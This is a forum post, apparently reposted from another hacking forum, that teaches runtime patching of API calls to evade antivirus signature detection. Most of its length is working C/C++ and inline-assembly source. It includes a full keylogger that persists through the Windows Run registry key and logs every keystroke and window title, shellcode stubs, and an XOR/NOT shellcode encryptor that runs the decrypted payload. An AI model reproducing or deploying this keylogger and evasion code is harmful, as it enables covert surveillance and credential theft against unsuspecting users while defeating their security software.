Jump to content
Nytro

Patching & AVs

Recommended Posts

Posted

[h=1]Patching & AVs[/h]Author:

[h=3]RosDevil[/h]Today i want to talk to you about patching. It is a very useful way to avoid AV detenction, specially against signatures controls.

[intro]

Patching consists in modifing code in runtime. To be more specific, we will write a function in assembly or a shellcode that performs some operations using common APIs but passing non-sense parameters which are our placeholders (labels), like 0xACEACEAC (which can be recognized a default address).

To list some APIs which are normaly monitored by AVs:

- RegSetValueEx

- GetAsyncKeyState

- CreateRemoteThread

- NtCreateThreadEx

- LoadLibrary

- VirtualProtect

- SetWindowsHookEx

- bind, connect, accept //sockets

- WriteProcessMemory

- VirtualAlloc

- InternetConnect

...

As you can see they are common APIs used for injection, keylogging and backdoors.

[index]

I provide 3 examples:

- MessageBoxA patching, is really easy and it explains the basics of this tecnique

- Keylogger with patched APIs

- Extra example of crypting the payload

[example 1 - MessageBoxA patching]

To say a few words:

To patch as assembly function we need to know MessageBoxA address in user32.dll and the addresses of its parameters.

We can get the API address through GetProcAddress(). For a better example we are going to patch the assembly code that load user32.dll and uses GetProcAddress to get the address.

#include "windows.h"
#include <iostream>


using namespace std;

_declspec() void Mess(void);
_declspec() void Mess_size();


static _declspec(naked) void Mess(void){

_asm{

push 0xACEACEAC //first placeholder after 1 byte
mov ecx, 0xACEACEAC //second placeholder after 6 bytes
call ecx //eax = LoadLibraryA("User32.dll");

push 0xACEACEAC
push eax
mov ecx, 0xACEACEAC
call ecx //eax = GetProcAddress(eax, "MessageBoxA");

push 0
push 0xACEACEAC
push 0xACEACEAC
push 0
call eax //MessageBox(0, "caption", "text", BUTTONS & Icon);

ret
}
}

static _declspec(naked) void Mess_size(){

}


int _tmain(int argc, _TCHAR* argv[])
{
char * dll = "User32.dll";
char * Msgstring = "MessageBoxA";
char * msg = "PATCHING!";
char * task = "Nice patching man!";
char button = 3; //normaly the last parameter of MesssageBoxA is an int, but if we want to pass a BYTE we need to pass a char.

unsigned long LoadLib = (unsigned long)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
unsigned long GetProc = (unsigned long)GetProcAddress(GetModuleHandle("kernel32.dll"), "GetProcAddress");

DWORD oldp;
DWORD size = (DWORD)Mess_size - (DWORD)Mess;
if (VirtualProtect(Mess, size, PAGE_EXECUTE_READWRITE, &oldp)==0) {
MessageBox(0, "Error", "VirtualProtect()", MB_OK);
return 1;
}


//THIS IS PATCHING
memcpy((void*)((unsigned long)Mess + 1), &dll, 4);
memcpy((void*)((unsigned long)Mess + 6), &LoadLib, 4);
memcpy((void*)((unsigned long)Mess + 13), &Msgstring, 4);
memcpy((void*)((unsigned long)Mess + 19), &GetProc, 4);
memcpy((void*)((unsigned long)Mess + 26), &button, 1);
memcpy((void*)((unsigned long)Mess + 28), &msg, 4);
memcpy((void*)((unsigned long)Mess + 33), &task, 4);

//notice: instead of memcpy() we could use WriteProcessMemory(), nothing changes.

//call the patched function
Mess();


cout<<"Done!"<<endl;
cin.get();
return 0;
}

Now, before is stated that even a shellcode could work, of course it does!

This is the shellcode that repprasents the assembly function Mess():

char shellcode[322] = "\x68\xac\xce\xea\xac\xb9\xac\xce\xea\xac\xff\xd1\x68\xac\xce\xea\xac\x50\xbb\xac\xce\xea\xac\xff\xd3\x6a\x00\x68\xac\xce\xea\xac\x68\xac\xce\xea\xac\x6a\x0d\xff\xd0\xc3";

//each \xXX is a character in hex

Using the shellcode is better to get quicker the offsets (positions) of the addresses placeholder 0xACEACEAC, which in hex is converted in "\xac\xce\xea\xac".

Count now starting from 0 the first time we find that string in the shellcode... first matching to position 1 and there we need to pass the address to the string "user32.dll".

After we can do the same thing we did above with memcpy((void*)((unsigned long)&shellcode + offset), &param, sizeof(param));

Just to remember to you, to execute a shellcode in c++ do this:

int (*func)() = (int(*)())shellcode;
func();

[exampe 2 - Keylogger]

This is an example how to use patching to hide our keylogger (SetWindowsHookEx is the API we're going to patch)

//ADVICE: i don't want people to comment how to make this keylogger better because isn't want i'm treating.

#include <iostream>
#include <windows.h>
#include <fstream>
#include <time.h>

using namespace std;

#define LOGFILE "LOG.txt"


int Make_keylogger_start_with_OS();
int start_keylogging();
LRESULT WINAPI keyboard(int nCode, WPARAM wParam, LPARAM lParam);
int WriteToLog();



//entra func
__declspec() void patched_SetWindowsHookEx(void);
_declspec() void size(void);

void perform_SetWindowsHookEx();
void perform_RegSetValueEx();

HHOOK keyboardH;
char keys[200];
char foreground[200];



int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
Make_keylogger_start_with_OS();
start_keylogging();


MSG message;


while(GetMessage(&message, NULL, 0, 0)){
TranslateMessage(&message);
DispatchMessage(&message);
}

return EXIT_SUCCESS;

}




int Make_keylogger_start_with_OS(){

long result;
HKEY key;

result = RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_READ|KEY_WRITE|KEY_QUERY_VALUE, &key);
if (result != ERROR_SUCCESS) return 1;

char * path = "C:\\path\\subdir\\keylogger.exe";
result = RegSetValueEx(key, "KEYLOGGER", 0, REG_SZ, (BYTE*)path, strlen(path));
if (result != ERROR_SUCCESS) return 1;

RegCloseKey(key);
return 0;
}

int start_keylogging(){
ZeroMemory(foreground, sizeof(foreground));

SYSTEMTIME lt;
GetLocalTime(&lt);
sprintf(keys, "\n\n---- Started: %02d/%02d/%02d, %02d:%02d \n\n\n", lt.wDay, lt.wMonth, lt.wYear, lt.wHour, lt.wMinute);
WriteToLog();

//keyboardH = SetWindowsHookEx(WH_KEYBOARD_LL, /*(HOOKPROC)*/keyboard, GetModuleHandle(0), 0);
perform_SetWindowsHookEx();


return 0;
}

int WriteToLog(){
FILE * fp;
fp = fopen(LOGFILE, "a+");
if (fp == NULL) return 1;
fputs(keys, fp);
fclose(fp);
strcpy(keys, "");
return 0;
}

LRESULT WINAPI keyboard(int nCode, WPARAM wParam, LPARAM lParam){
bool shift = false;

if (nCode >= 0){

KBDLLHOOKSTRUCT *stroke = (KBDLLHOOKSTRUCT*)(lParam);
if (wParam == WM_KEYDOWN){
UINT key = stroke->scanCode << 16;
key += stroke->vkCode << 24;
//
SYSTEMTIME lt;
GetLocalTime(&lt);

//Getting foreground window
char fore[200];
ZeroMemory(fore, sizeof(fore));
HWND win = GetForegroundWindow();
SendMessage(win, WM_GETTEXT, (WPARAM)200, (LPARAM)fore);
if (strcmp(foreground, fore)){
strcat(keys, "\n\n----[ ");
strcat(keys, fore);
strcat(keys, " ]---- ");
sprintf(keys, "%s %02d/%02d/%02d, %02d:%02d \n\n", keys, lt.wDay, lt.wMonth, lt.wYear, lt.wHour, lt.wMinute);
strcpy(foreground, fore);
}

if (GetAsyncKeyState(VK_LSHIFT|VK_RSHIFT)){
shift = true;
}



//logging
if (shift == false){
switch (stroke->vkCode){
//numbers
case 0x30: strcat(keys, "0"); break;
case 0x31: strcat(keys, "1"); break;
case 0x32: strcat(keys, "2"); break;
case 0x33: strcat(keys, "3"); break;
case 0x34: strcat(keys, "4"); break;
case 0x35: strcat(keys, "5"); break;
case 0x36: strcat(keys, "6"); break;
case 0x37: strcat(keys, "7"); break;
case 0x38: strcat(keys, "8"); break;
case 0x39: strcat(keys, "9"); break;
//keys
case 0x41: strcat(keys, "a"); break;
case 0x42: strcat(keys, "b"); break;
case 0x43: strcat(keys, "c"); break;
case 0x44: strcat(keys, "d"); break;
case 0x45: strcat(keys, "e"); break;
case 0x46: strcat(keys, "f"); break;
case 0x47: strcat(keys, "g"); break;
case 0x48: strcat(keys, "h"); break;
case 0x49: strcat(keys, "i"); break;
case 0x4a: strcat(keys, "j"); break;
case 0x4b: strcat(keys, "k"); break;
case 0x4c: strcat(keys, "l"); break;
case 0x4d: strcat(keys, "m"); break;
case 0x4e: strcat(keys, "n"); break;
case 0x4f: strcat(keys, "o"); break;
case 0x50: strcat(keys, "p"); break;
case 0x51: strcat(keys, "q"); break;
case 0x52: strcat(keys, "r"); break;
case 0x53: strcat(keys, "s"); break;
case 0x54: strcat(keys, "t"); break;
case 0x55: strcat(keys, "u"); break;
case 0x56: strcat(keys, "v"); break;
case 0x57: strcat(keys, "w"); break;
case 0x58: strcat(keys, "x"); break;
case 0x59: strcat(keys, "y"); break;
case 0x5a: strcat(keys, "z"); break;
//special strokes
case VK_SPACE: strcat(keys, " "); break;
case VK_RETURN: strcat(keys, "\n"); break;
case VK_LEFT: strcat(keys, "[LEFT]"); break;
case VK_RIGHT: strcat(keys, "[RIGHT]"); break;
case VK_CAPITAL: strcat(keys, "[CAPS LOCK]"); break;
case VK_UP: strcat(keys, "[UP]"); break;
case VK_DOWN: strcat(keys, "[DOWN]"); break;
case VK_BACK: strcat(keys, "[BACKSPACE]"); break;
case 0xBC: strcat(keys, ","); break;
case 0xBE: strcat(keys, "."); break;
default:
char gotkey[5];
GetKeyNameText(key, gotkey, sizeof(gotkey));
strcat(keys, gotkey);
break;
}
}else{

switch (stroke->vkCode){
//second value
case 0x30: strcat(keys, "="); break;
case 0x31: strcat(keys, "!"); break;
case 0x32: strcat(keys, "\""); break;
case 0x33: strcat(keys, "£"); break;
case 0x34: strcat(keys, "$"); break;
case 0x35: strcat(keys, "%"); break;
case 0x36: strcat(keys, "&"); break;
case 0x37: strcat(keys, "/"); break;
case 0x38: strcat(keys, "("); break;
case 0x39: strcat(keys, ")"); break;
//keys
case 0x41: strcat(keys, "A"); break;
case 0x42: strcat(keys, "B"); break;
case 0x43: strcat(keys, "C"); break;
case 0x44: strcat(keys, "D"); break;
case 0x45: strcat(keys, "E"); break;
case 0x46: strcat(keys, "F"); break;
case 0x47: strcat(keys, "G"); break;
case 0x48: strcat(keys, "H"); break;
case 0x49: strcat(keys, "I"); break;
case 0x4a: strcat(keys, "J"); break;
case 0x4b: strcat(keys, "K"); break;
case 0x4c: strcat(keys, "L"); break;
case 0x4d: strcat(keys, "M"); break;
case 0x4e: strcat(keys, "N"); break;
case 0x4f: strcat(keys, "O"); break;
case 0x50: strcat(keys, "P"); break;
case 0x51: strcat(keys, "Q"); break;
case 0x52: strcat(keys, "R"); break;
case 0x53: strcat(keys, "S"); break;
case 0x54: strcat(keys, "T"); break;
case 0x55: strcat(keys, "U"); break;
case 0x56: strcat(keys, "V"); break;
case 0x57: strcat(keys, "W"); break;
case 0x58: strcat(keys, "X"); break;
case 0x59: strcat(keys, "Y"); break;
case 0x5a: strcat(keys, "Z"); break;

//special strokes
case VK_SPACE: strcat(keys, " "); break;
case VK_RETURN: strcat(keys, "[RETURN]\n"); break;
case VK_LEFT: strcat(keys, "[LEFT]"); break;
case VK_RIGHT: strcat(keys, "[RIGHT]"); break;
case VK_UP: strcat(keys, "[UP]"); break;
case VK_DOWN: strcat(keys, "[DOWN]"); break;
case VK_BACK: strcat(keys, "[BACKSPACE]"); break;
case VK_CAPITAL: strcat(keys, "[CAPS LOCK]"); break;
case 0xBC: strcat(keys, ";"); break;
case 0xBE: strcat(keys, ":"); break;
default: char gotkey[5];
GetKeyNameText(key, gotkey, sizeof(gotkey));
strcat(keys, gotkey);
break;
}


}
WriteToLog();
}



}

return CallNextHookEx(NULL, nCode, wParam, lParam);

}


void perform_SetWindowsHookEx(){

char * user32 = "User32.dll";
char * SetwindowshookEx = "SetWindowsHookExA";
unsigned long LoadLibrarY = (unsigned long)GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA");
unsigned long GetProc = (unsigned long)GetProcAddress(LoadLibrary("kernel32.dll"), "GetProcAddress");

unsigned long myhandle = (unsigned long)GetModuleHandle(0);
DWORD oldP;
void * offset_func = keyboard;

if (VirtualProtect(patched_SetWindowsHookEx, (DWORD)size - (DWORD)patched_SetWindowsHookEx, PAGE_EXECUTE_READWRITE, &oldP)==0) {
MessageBox(0, "Error", "VirtualProtect()", MB_OK);
return 1;
}

memcpy((void*)((unsigned long)patched_SetWindowsHookEx + 3), &user32 , 4);
memcpy((void*)((unsigned long)patched_SetWindowsHookEx + 8), &LoadLibrarY , 4);
memcpy((void*)((unsigned long)patched_SetWindowsHookEx + 15), &SetwindowshookEx , 4);
memcpy((void*)((unsigned long)patched_SetWindowsHookEx + 21), &GetProc , 4);
memcpy((void*)((unsigned long)patched_SetWindowsHookEx + 30), &myhandle , 4);
memcpy((void*)((unsigned long)patched_SetWindowsHookEx + 35), &offset_func, 4);


Sleep(100);
patched_SetWindowsHookEx();
}

static __declspec(naked) void patched_SetWindowsHookEx(void){

_asm{
pushfd
pushad
push 0xACEACEAC
mov ecx, 0xACEACEAC
call ecx

push 0xACEACEAC
push eax
mov ebx, 0xACEACEAC
call ebx

push 0
push 0xACEACEAC
push 0xACEACEAC
push 0Dh
call eax

mov dword ptr[keyboardH], eax
popad
popfd
ret
}
}
static _declspec(naked) void size(void){

}

[example 3 - Extra about crypting]

Now, somehow AV can be so "smart" that could find an assembly function that can be patched... so we cannot use it...

BUT what about encrypting the payload and then during execution decrypt it and patch it?! WOW

I will use a shellcode of example, a MessageBoxA.

In this example i provide how to encrypt and decrypt a shellcode with XOR and NOT... but maybe the shellcode isn't working on your machine but only because isn't portable, i used fixed addresses. But encoder and decoder works PERFECTLY so try it with your shellcode.

#include "windows.h"
#include <iostream>

using namespace std;

char original_shellcode[] = "\xeb\x45\x5e\x31\xc9\x31\xc0\x88\x4e\x1e\x56\xb9\x7b\x1d\x80\x7c\xff\xd1\xeb\x57\x5e\x31\xd2\x88\x56\x0b\x56\x50\xba\x40\xae\x80\x7c\xff\xd2\xeb\x57\x5e\x31\xd2\x89\xf1\x83\xc1\x16\x88\x56\x15\x88\x51\x09\xb2\x30\x52\x31\xd2\x51\x56\x52\xff\xd0\x31\xd2\x50\xb8\x12\xcb\x81\x7c\xff\xd0\xe8\xb6\xff\xff\xff\x43\x3a\x5c\x57\x49\x4e\x44\x4f\x57\x53\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x23\xe8\xa4\xff\xff\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x23\xe8\xa4\xff\xff\xff\x59\x6f\x75\x20\x68\x61\x76\x65\x20\x62\x65\x65\x6e\x20\x68\x61\x63\x6b\x65\x64\x21\x23\x53\x68\x65\x6c\x6c\x63\x6f\x64\x65\x23";


char encrypted[500];
char decrypted[500];


int _tmain(int argc, _TCHAR* argv[])
{

//encrypt:
int length1 = strlen(original_shellcode);
_asm{
xor ecx, ecx
mov ecx, length1

mov edi, offset original_shellcode
mov esi, offset encrypted

enc:
mov eax, [edi]
xor eax, 30h
not eax
mov [esi], eax
inc edi
inc esi
LOOP enc
}

cout<<"original: "<<original_shellcode<<endl<<endl;
cout<<"encrypted: "<<encrypted<<endl<<endl;

/* FILE * fp;
fp = fopen("shell.txt", "w+");
fputs(encrypted, fp);
fclose(fp); */


//decrypt
_asm{
pushad
xor ecx, ecx
mov ecx, length1

mov edi, offset encrypted
mov esi, offset decrypted

enc1:
mov eax, [edi]
not eax
xor eax, 30h
mov [esi], eax
inc edi
inc esi
LOOP enc1
}

//NOW YOU CAN PATCH YOUR DECRYPTED SHELLCODE, DIY!

cout<<"Decrypted: "<<decrypted<<endl<<endl;

_asm{
pushad
mov eax, offset decrypted
call eax

}


return 0;
}



RosDevil

Sursa: Patching & AVs - rohitab.com - Forums

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...